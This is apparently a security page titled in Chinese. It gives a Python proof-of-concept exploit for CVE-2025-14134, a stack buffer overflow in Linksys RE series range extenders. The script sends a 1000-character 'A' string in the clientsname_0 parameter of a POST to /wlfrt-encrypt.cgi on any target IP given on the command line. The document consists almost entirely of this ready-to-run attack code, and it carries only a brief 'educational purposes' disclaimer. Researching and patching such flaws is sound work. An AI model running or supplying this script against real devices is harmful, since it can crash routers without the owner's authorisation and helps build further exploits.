CVE-2025-14134 Linksys RE系列路由器栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-14134 PoC - Linksys RE series buffer overflow Note: This PoC is for educational and security research purposes only. """ import requests import sys import argparse def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit stack-based buffer overflow in RE2000v2Repeater_get_wireless_clientlist_setClientsName """ # Construct malicious payload with oversized clientsname_0 parameter # This creates a buffer overflow condition payload = "A" * 1000 # Large payload to overflow stack buffer # Target endpoint (typically the form handler) url = f"http://{target_ip}:{target_port}/wlfrt-encrypt.cgi" # Construct POST data with vulnerable parameter data = { "clientsname_0": payload, "submit_button": "Wireless_Repeater", "change_action": "", "action": "Apply" } try: print(f"[*] Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-14134 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port") args = parser.parse_args() exploit_buffer_overflow(args.target, args.port)